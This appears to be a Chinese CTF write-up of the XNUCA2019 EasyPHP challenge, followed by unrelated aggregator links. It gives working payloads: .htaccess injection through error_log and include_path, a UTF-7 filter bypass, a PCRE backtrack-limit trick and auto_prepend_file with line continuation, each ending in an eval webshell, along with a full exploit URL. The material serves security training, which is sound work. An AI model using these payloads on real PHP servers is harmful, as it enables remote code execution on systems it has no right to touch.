0x00 知识点

预期解中知识点:

htaccess生效

如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance 这里采用# \的方式将换行符转义成普通字符,就可以用#来注释单行了。

利用文件包含

代码中有一处include_once("fl3g.php");,php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。

指定目录写文件

如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。

如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。

php_value include_path "xxx"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤

写入utf-7编码的shellcode可以绕过<?的过滤

+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

需要在.htaccess中配置解析的编码:

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

综上:

最后生成的.htaccess是这样的

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance

非预期解1知识点

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z.]/", $filename) !== 0), 因此可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false

filename即可通过伪协议绕过前面stristr的判断实现Getshell

非预期解2知识点

php_value auto_prepend_file ".htaccess"
#<?PHP eval($_GET[a]);?>\

因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess

0x01 解题

打开题目给了我们源码:

 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

分析源码:

首先删除当前目录下非index.php的文件
然后include(‘fl3g.php’),之后获取filename和content并写入文件中。其中对filename和content都有过滤。 filename若匹配到除了a-z和单引号.以外的其它字符,则触发waf,
文件内容结尾被加上了一行

功能很简单:

一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。

结合上面:

预期解1

https://www.anquanke.com/post/id/185377#h3-6

Step1 写入.htaccess error_log相关的配置

php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \
http://65e4f7f3-b20b-4d9e-9de1-a59e81fd43b4.node3.buuoj.cn/index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20\

Step2 访问index.php留下error_log

Step3 写入.htaccess新的配置

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
index.php?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \

Step4 再访问一次index.php?1=evilcode即可getshell.

非预期解1:

php_value pcre.backtrack_limit    0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\

令filename为:

filename=php://filter/write=convert.base64-decode/resource=.htaccess

这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了

非预期解2

因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess,

php_value auto_prepend_fi\
le ".htaccess"

参考链接:

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp

https://www.cnblogs.com/tr1ple/p/11439994.html

[XNUCA2019Qualifier]EasyPHP的更多相关文章

  1. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  2. .htaccess tricks总结

    目录 .htaccess tricks总结 一.什么是.htaccess 二.利用条件 三.利用方式 && tricks 1.将指定后缀名的文件当做php解析 2.php_value利 ...

  3. 快速搭建PHP开发环境(PhpStorm+EasyPHP)

    写在开头,何为PHP(拍黄片)? P HP是一种开源的通用计算机脚本语言,尤其适用于网络开发并可嵌入HTML中使用(维基百科). 从上我们得出,何为PHP? 1.开源脚本语言. 2.用于网络开发可嵌入 ...

  4. EasyPHP的Apache报错

    今天安装了最新版本的软件:EasyPHP-DevServer-14.1VC11-install.exe 启动报错: 打开Cport软件: 可见80端口被系统占用,导致Apache不能启动. (1)手动 ...

  5. 在win7下,easyphp安装过程中MSVCR110.DLL没有被指定在WINDOWS上运行,或者它包含错误

    这是安装easyphp后启动时出现的错误界面.查网上一大堆说法,基本上p用没有.真正解决的办法去m$站点 http://www.microsoft.com/zh-CN/download/details ...

  6. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  7. EasyPHP(php集成环境)下载 v5.4.6官方安装版

    EasyPHP版本:12.1(32位) PHP版本:5.4.6 MYSQL版本:5.5.27 APACHE版本:2.4.2 下载地址请点击

  8. Easyphp让其他电脑访问

    1.将httpd.conf中的Listen 127.0.0.1:80,修改为Listen 80. 2.重启

  9. GYCTF easyphp 【反序列化配合字符逃逸】

    基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...

随机推荐

  1. PWM与时间片思想

    改编自:http://www.moz8.com/thread-79049-1-1.html 什么是PWM? PWM:脉冲宽度调制,由于在数字电路(或者单片机)输出模拟信号的成本高昂,换句话说,受制于只 ...

  2. 8051单片机中访问int中字节的方法

    在使用单片机中,unsigned int 占2个字节,unsigned char 占一个字节.而单片机是实行的字节寻址.16字节的bit寻址实在是不好用, 不好用在不能建数组. 在实际的开发过程中,要 ...

  3. 无法删除oracle用户的问题

    http://blog.sina.com.cn/s/blog_684848d60101hj8a.html

  4. Springboot注解使用总结

    使用Spring boot已经有段时间了,但是对很多注解的使用经常会遇到模糊甚至不解的地方,这次有时间便总结一下. 注解(Annotation)概念 注解是Java5开始对元数据的支持,注解与注释是有 ...

  5. vue-router 一个十分简单的应用场景

    时间:2018-03-28 关于vue-router: 这里只大致说一下构建过程和使用情况,将就看看!! 我使用的是vue-cli脚手架+webpack构建的项目 安装vue-cli脚手架 npm i ...

  6. jenkins#自动构建并部署springboot的jar包

    1.GitLab 8.0.0(版本比较低,配置比较简单) 配置 点击项目 --> settings --> web Hooks 2.jenkins配置

  7. 【蓝桥】第八届C语言C组第7题 Excel地址(进制变形题,stack()简单使用)转载

    标题: Excel地址 Excel单元格的地址表示很有趣,它使用字母来表示列号. 比如, A表示第1列, B表示第2列, Z表示第26列, AA表示第27列, AB表示第28列, BA表示第53列, ...

  8. Scala match 变量

    昨天写 Scala 的时候,使用 match(相当于 switch)时,运行结果很奇怪. var i: Int = 0 while (i < items.length) { i % width ...

  9. Xcode8.0+和最新的Xcode9.0beta安装Alcatraz插件

    1.安装Alcatraz 1.1终端中输入 rm -rf ~/Library/Application\ Support/Developer/Shared/Xcode/Plug-ins/Alcatraz ...

  10. delphi的dbgrid控件点击title排序

    procedure TfrmMain.DBGridEhTitleClick(Column: TColumnEh);var i : integer;begin for i:= 1 to DBGridEh ...